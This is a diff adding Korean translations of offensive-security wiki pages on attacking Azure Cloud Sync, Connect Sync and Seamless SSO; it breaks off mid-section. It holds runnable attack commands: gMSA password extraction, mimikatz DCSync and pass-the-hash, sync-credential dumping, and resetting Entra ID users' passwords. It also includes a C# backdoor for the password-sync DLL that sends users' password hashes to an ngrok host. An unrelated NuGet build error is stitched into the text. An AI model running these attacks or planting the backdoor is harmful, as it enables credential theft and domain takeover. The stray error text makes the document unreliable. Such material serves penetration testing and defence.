Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md

@@ -0,0 +1,151 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Cloud Sync**는 기본적으로 Azure에서 **AD의 사용자를 Entra ID로 동기화하는 새로운 방법**입니다.
+
+[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자의 동기화, 그룹 및 연락처를 Microsoft Entra ID로 수행하기 위해 설계된 Microsoft의 새로운 서비스입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra 클라우드 프로비저닝 에이전트를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수 있습니다.
+
+### Principals Generated
+
+이 기능이 작동하기 위해 Entra ID와 온프레미스 디렉토리 모두에 몇 가지 주체가 생성됩니다:
+
+- Entra ID에서 사용자 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)가 **`Directory Synchronization Accounts`** 역할 (`d29b2b05-8046-44ba-8758-1e26182fcf32`)로 생성됩니다.
+
+> [!WARNING]
+> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 사용자 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
+
+- Entra ID에서도 **`AAD DC Administrators`** 그룹이 구성원이나 소유자 없이 생성됩니다. 이 그룹은 [`Microsoft Entra Domain Services`](./az-domain-services.md)를 사용할 경우 유용합니다.
+
+- AD에서는 서비스 계정 **`provAgentgMSA`**가 **`pGMSA_<id>$@domain.com`**과 같은 SamAccountName으로 생성되거나 [**이 권한이 필요합니다**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) 사용자 정의 계정이 생성됩니다. 일반적으로 기본 계정이 생성됩니다.
+
+> [!WARNING]
+> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 타협하는 누구나 전체 디렉토리를 타협할 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 확인하세요.
+
+> [!NOTE]
+> 기본적으로 **`adminCount`** 속성이 1인 도메인 관리자와 같은 알려진 특권 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 특권 그룹의 다른 사용자나 직접 높은 권한이 부여된 사용자는 **동기화될 수 있습니다**.
+
+## Password Sychronization
+
+이 섹션은 다음과 매우 유사합니다:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **비밀번호 해시 동기화**를 활성화하면 사용자가 **AD의 비밀번호를 사용하여 Entra ID에 로그인할 수 있습니다**. 또한 AD에서 비밀번호가 수정될 때마다 Entra ID에서 업데이트됩니다.
+- **비밀번호 쓰기 백**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하세요.
+- **그룹 쓰기 백**: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.
+
+## Pivoting
+
+### AD --> Entra ID
+
+- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 타협하거나 사용자의 비밀번호를 변경하거나 새로운 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.
+
+예를 들어 다음과 같이 할 수 있습니다.
+- **`provAgentgMSA`** 계정을 타협하고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 후 이를 사용하여 Entra ID에 로그인합니다.
+- AD에 새로운 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 후 이를 사용하여 Entra ID에 로그인합니다.
+- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 후 이를 사용하여 Entra ID에 로그인합니다.
+
+**`provAgentgMSA`** 자격 증명을 타협하기 위해:
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+이제 gMSA의 해시를 사용하여 `provAgentgMSA` 계정을 통해 Entra ID에 대해 Pass-the-Hash 공격을 수행하고 AD에 대한 DCSync 공격을 수행할 수 있는 지속성을 유지할 수 있습니다.
+
+Active Directory를 손상시키는 방법에 대한 자세한 내용은 다음을 확인하십시오:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Azure 또는 EntraID 역할을 동기화된 사용자에게 속성에 따라 부여하는 방법은 없습니다. 예를 들어 Cloud Sync 구성에서. 그러나 동기화된 사용자에게 자동으로 권한을 부여하기 위해 일부 **AD의 Entra ID 그룹**에 권한이 부여될 수 있으므로 해당 그룹 내의 동기화된 사용자도 권한을 받거나 **동적 그룹이 사용될 수 있습니다**. 따라서 항상 동적 규칙과 이를 악용할 수 있는 잠재적인 방법을 확인하십시오:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+지속성과 관련하여 [이 블로그 게시물](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)은 [**dnSpy**](https://github.com/dnSpy/dnSpy)를 사용하여 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**에 위치한 dll **`Microsoft.Online.Passwordsynchronisation.dll`**에 백도어를 걸 수 있다고 제안합니다. 이 dll은 Cloud Sync 에이전트가 비밀번호 동기화를 수행하는 데 사용되며, 동기화되는 사용자의 비밀번호 해시를 원격 서버로 유출하도록 만듭니다. 해시는 **`PasswordHashGenerator`** 클래스 내에서 생성되며, 블로그 게시물에서는 클래스가 다음과 같이 보이도록 일부 코드를 추가할 것을 제안합니다(비밀번호 해시를 유출하기 위해 `use System.Net` 및 `WebClient` 사용에 주목하십시오):
+```csharp
+using System;
+using System.Net;
+using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
+
+namespace Microsoft.Online.PasswordSynchronization
+{
+// Token: 0x0200003E RID: 62
+public class PasswordHashGenerator : ClearPasswordHashGenerator
+{
+// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
+public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
+{
+PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
+try
+{
+using (WebClient webClient = new WebClient())
+{
+webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
+}
+}
+catch (Exception)
+{
+}
+return new PasswordHashData
+{
+Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
+RawHash = passwordHashData.RawHash
+};
+}
+}
+}
+```
+NuGet 패키지 복원이 프로젝트 AzTokenFinder에 대해 실패했습니다: 패키지 'System.Security.Cryptography.X509Certificates'의 버전 '4.3.2'를 찾을 수 없습니다.  
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 패키지 'System.Security.Cryptography.X509Certificates.4.3.2'가 소스 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'에서 발견되지 않았습니다.  
+자세한 경고 및 오류는 오류 목록 창을 참조하십시오.
+
+### Entra ID --> AD
+
+- **비밀번호 쓰기**가 활성화된 경우, Entra ID에서 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 설정은 해당 에이전트를 사용하여 구성되므로 더 많은 정보는 [Az Connect Sync 섹션](./az-connect-sync.md)을 확인하십시오.
+
+- 현재 Cloud Sync는 **"Microsoft Entra ID to AD"**를 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없으며, 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있고, 동기화하려는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자만 동기화할 수 있다는 것을 알게 되었습니다. 자세한 내용은 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits)에서 확인할 수 있습니다:
+
+> - 이러한 그룹은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
+> - 동기화된 온프레미스 사용자 계정은 이 클라우드에서 생성된 보안 그룹의 구성원이 될 수 있으며, 동일한 도메인 또는 교차 도메인에서 올 수 있지만, 모두 동일한 포리스트에서 와야 합니다.
+
+따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 손상시키기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).
+
+### Enumeration
+```bash
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+--method GET \
+--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+--headers "Content-Type=application/json"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md

@@ -0,0 +1,205 @@
+# Az - Connect Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 기본 정보
+
+[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 동기화 서비스(Microsoft Entra Connect Sync)는 Microsoft Entra Connect의 주요 구성 요소입니다. 이는 온프레미스 환경과 Microsoft Entra ID 간의 ID 데이터 동기화와 관련된 모든 작업을 처리합니다.
+
+이를 사용하려면 AD 환경 내의 서버에 **`Microsoft Entra Connect Sync`** 에이전트를 설치해야 합니다. 이 에이전트가 AD 측의 동기화를 담당합니다.
+
+
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
+
+**Connect Sync**는 기본적으로 **AD에서 Entra ID로 사용자를 동기화하는 "구식" Azure 방법**입니다. 새로운 권장 방법은 **Entra Cloud Sync**를 사용하는 것입니다:
+
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### 생성된 주체
+
+- 계정 **`MSOL_<installationID>`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)를 참조). 이는 온프레미스 AD에서 **복제(DCSync) 권한**을 가지고 있음을 의미합니다.
+- 이는 이 계정을 손상시키는 사람이 온프레미스 도메인을 손상시킬 수 있음을 의미합니다.
+- 관리 서비스 계정 **`ADSyncMSA<id>`**가 온프레미스 AD에서 특별한 기본 권한 없이 생성됩니다.
+- Entra ID에서는 서비스 주체 **`ConnectSyncProvisioning_ConnectSync_<id>`**가 인증서와 함께 생성됩니다.
+
+## 비밀번호 동기화
+
+### 비밀번호 해시 동기화
+
+이 구성 요소는 **AD에서 Entra ID로 비밀번호를 동기화하는 데** 사용할 수 있어 사용자가 AD 비밀번호를 사용하여 Entra ID에 연결할 수 있습니다. 이를 위해서는 AD 서버에 설치된 Microsoft Entra Connect Sync 에이전트에서 비밀번호 해시 동기화를 허용해야 합니다.
+
+[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **비밀번호 해시 동기화**는 하이브리드 ID를 달성하는 데 사용되는 로그인 방법 중 하나입니다. **Azure AD Connect**는 온프레미스 Active Directory 인스턴스에서 클라우드 기반 Azure AD 인스턴스로 사용자의 비밀번호 해시의 해시를 동기화합니다.
+
+기본적으로 모든 **사용자**와 **비밀번호 해시의 해시**가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 **평문 비밀번호**나 **원본** **해시**는 Azure AD로 전송되지 않습니다.
+
+**해시 동기화**는 매 **2분**마다 발생합니다. 그러나 기본적으로 **비밀번호 만료** 및 **계정** **만료**는 Azure AD에서 **동기화되지 않습니다**. 따라서 **온프레미스 비밀번호가 만료된**(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 **Azure 리소스에 계속 액세스할 수 있습니다**.
+
+온프레미스 사용자가 Azure 리소스에 액세스하려고 할 때, **인증은 Azure AD에서 이루어집니다**.
+
+> [!NOTE]
+> 기본적으로 **`adminCount`** 속성이 1인 알려진 권한 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 권한 그룹의 다른 사용자나 높은 권한이 직접 할당된 사용자는 **동기화될 수 있습니다**.
+
+
+### 비밀번호 쓰기
+
+이 구성은 사용자가 Entra ID에서 비밀번호를 변경할 때 **Entra ID에서 AD로 비밀번호를 동기화**할 수 있도록 합니다. 비밀번호 쓰기가 작동하려면 AD에서 자동으로 생성된 `MSOL_<id>` 사용자에게 [문서에 명시된 대로 더 많은 권한을 부여해야](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **AD의 모든 사용자의 비밀번호를 수정할 수 있어야 합니다**.
+
+이는 손상된 Entra ID에서 AD를 손상시키는 데 특히 흥미롭습니다. 왜냐하면 "거의" 모든 사용자의 비밀번호를 수정할 수 있기 때문입니다.
+
+도메인 관리자 및 일부 권한 그룹에 속하는 다른 사용자는 그룹에 **`adminCount` 속성이 1**인 경우 복제되지 않습니다. 그러나 이러한 그룹에 속하지 않고 AD 내에서 높은 권한이 할당된 다른 사용자는 비밀번호가 변경될 수 있습니다. 예를 들어:
+
+- 직접 높은 권한이 할당된 사용자.
+- **`DNSAdmins`** 그룹의 사용자.
+- GPO를 생성하고 이를 OU에 할당한 **`Group Policy Creator Owners`** 그룹의 사용자.
+- Active Directory에 인증서를 게시할 수 있는 **`Cert Publishers Group`**의 사용자.
+- **`adminCount` 속성이 1**이 아닌 높은 권한을 가진 다른 그룹의 사용자.
+
+## AD --> Entra ID 피벗
+
+### Connect Sync 열거
+
+사용자 확인:
+```bash
+# Check for the users created by the Connect Sync
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
+Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=MSOL_*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=ADSyncMSA*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=Sync_*)"
+$searcher.FindAll()
+```
+**Connect Sync 구성**(있는 경우)을 확인하십시오:
+```bash
+az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
+# Check if password sychronization is enabled, if password and group writeback are enabled...
+```
+### 비밀번호 찾기
+
+**`MSOL_*`** 사용자(및 생성된 경우 **Sync\_\*** 사용자)의 비밀번호는 **Entra ID Connect가 설치된 서버의 SQL 서버에 저장됩니다.** 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다.\
+데이터베이스는 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`에 위치해 있습니다.
+
+테이블 중 하나에서 구성을 추출할 수 있으며, 하나는 암호화되어 있습니다:
+
+`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
+
+**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD로 권한 상승이 가능합니다.
+
+이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강연에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+
+### MSOL\_\* 악용하기
+```bash
+# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
+
+# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
+runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
+```
+> [!WARNING]
+> 이전 공격은 Entra ID 사용자 `Sync_*`에 연결하기 위해 다른 비밀번호를 손상시킨 후 Entra ID를 손상시켰습니다. 그러나 이 사용자는 더 이상 존재하지 않습니다.
+
+
+### ConnectSyncProvisioning_ConnectSync\_<id> 악용
+
+이 애플리케이션은 Entra ID 또는 Azure 관리 역할이 할당되지 않은 상태에서 생성됩니다. 그러나 다음 API 권한이 있습니다:
+
+- Microsoft Entra AD 동기화 서비스
+- `ADSynchronization.ReadWrite.All`
+- Microsoft 비밀번호 재설정 서비스
+- `PasswordWriteback.OffboardClient.All`
+- `PasswordWriteback.RefreshClient.All`
+- `PasswordWriteback.RegisterClientVersion.All`
+
+이 애플리케이션의 SP는 문서화되지 않은 API를 사용하여 일부 특권 작업을 수행하는 데 여전히 사용될 수 있다고 언급되지만, 현재까지 PoC는 발견되지 않았습니다.\
+어쨌든, 이것이 가능할 수 있다고 생각하면 이 서비스 주체로 로그인하기 위한 인증서를 찾고 이를 악용하는 방법을 더 탐색하는 것이 흥미로울 것입니다.
+
+이 [블로그 게시물](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)은 `Sync_*` 사용자에서 이 서비스 주체로 변경되기 직전에 발표되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾고, 소유 증명(PoP)을 생성하고, 토큰을 그래프할 수 있었으며, 이를 통해 서비스 주체에 새 인증서를 추가할 수 있었다고 설명했습니다 (왜냐하면 **서비스 주체**는 항상 자신에게 새 인증서를 할당할 수 있기 때문입니다) 그리고 이를 사용하여 SP로서 지속성을 유지할 수 있었습니다.
+
+이러한 작업을 수행하기 위해 다음 도구가 게시되었습니다: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+제 경험상, 인증서는 이전 도구가 찾고 있던 장소에 더 이상 저장되지 않으며, 따라서 도구는 더 이상 작동하지 않습니다. 따라서 추가 연구가 필요할 수 있습니다.
+
+### Sync\_\* 악용 [사용 중단]
+
+> [!WARNING]
+> 이전에 `Sync_*`라는 사용자가 Entra ID에 생성되어 매우 민감한 권한이 할당되어 있었으며, 이는 모든 사용자의 비밀번호를 수정하거나 서비스 주체에 새 자격 증명을 추가하는 등의 특권 작업을 수행할 수 있게 해주었습니다. 그러나 2025년 1월부터 이 사용자는 기본적으로 더 이상 생성되지 않으며, 이제 애플리케이션/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**가 사용됩니다. 그러나 일부 환경에서는 여전히 존재할 수 있으므로 확인할 가치가 있습니다.
+
+**`Sync_*`** 계정을 손상시키면 모든 사용자의 비밀번호를 **재설정**할 수 있습니다 (전역 관리자 포함).
+```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
+# This command, run previously, will give us alse the creds of this account
+Get-AADIntSyncCredentials
+
+# Get access token for Sync_* account
+$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
+$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
+Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
+
+# Get global admins
+Get-AADIntGlobalAdmins
+
+# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
+Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
+
+# Reset the users password
+Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
+
+# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
+```
+클라우드 사용자만의 **비밀번호를 수정하는 것도 가능합니다** (예상치 못한 경우에도).
+```bash
+# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
+# The CloudAnchor is of the format USER_ObjectID.
+Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
+
+# Reset password
+Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
+```
+이 사용자 비밀번호를 덤프하는 것도 가능합니다.
+
+> [!CAUTION]
+> 또 다른 옵션은 **서비스 주체에 특권 권한을 할당하는 것**인데, **Sync** 사용자가 **권한**을 가지고 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다.
+
+### Seamless SSO
+
+Seamless SSO를 PHS와 함께 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## Pivoting Entra ID --> AD
+
+- 비밀번호 쓰기 백업이 활성화된 경우, Entra ID와 동기화된 **AD의 모든 사용자의 비밀번호를 수정할 수 있습니다**.
+- 그룹 쓰기 백업이 활성화된 경우, AD와 동기화된 Entra ID의 **특권 그룹에 사용자를 추가할 수 있습니다**.
+
+## References
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md

@@ -2,25 +2,75 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## 기본 정보
+## Basic Information
 
-[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 **사용자가 회사 네트워크에 연결된 회사 장치에서** 자동으로 **로그인**하도록 합니다. 활성화되면, **사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며**, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 **사용자가 회사 네트워크에 연결된 회사 장치에서** 자동으로 **로그인**하도록 합니다. 활성화되면, **사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며**, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.
 
 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
-기본적으로 Azure AD Seamless SSO는 **온프레미스 도메인에 가입된 PC에서** **사용자를 로그인**시킵니다.
+기본적으로 Azure AD Seamless SSO는 **온프레미스 도메인에 가입된 PC에서** 사용자를 **로그인**시킵니다.
 
-이는 [**PHS (비밀번호 해시 동기화)**](phs-password-hash-sync.md)와 [**PTA (통과 인증)**](pta-pass-through-authentication.md) 모두에서 지원됩니다.
+이는 [**PHS (Password Hash Sync)**](phs-password-hash-sync.md)와 [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) 모두에서 지원됩니다.
 
-데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **AZUREADSSOACC`$`**라는 **컴퓨터 계정을 생성**합니다. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Azure AD로 평문으로 전송**됩니다.
+데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성합니다**. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송됩니다**.
 
-**Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Azure AD는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.
+**Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Entra ID는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.
 
-**Azure AD**는 Kerberos **티켓**을 수락하는 **엔드포인트**(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.
+**Entra ID**는 Kerberos **티켓**을 수락하는 **엔드포인트**(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.
 
-### 온프레미스 -> 클라우드
+### Enumeration
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
 
-사용자 **`AZUREADSSOACC$`**의 **비밀번호**는 **절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **은 티켓**을 생성하여 **동기화된 모든 온프레미스 사용자**로 Azure에 연결할 수 있습니다.
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
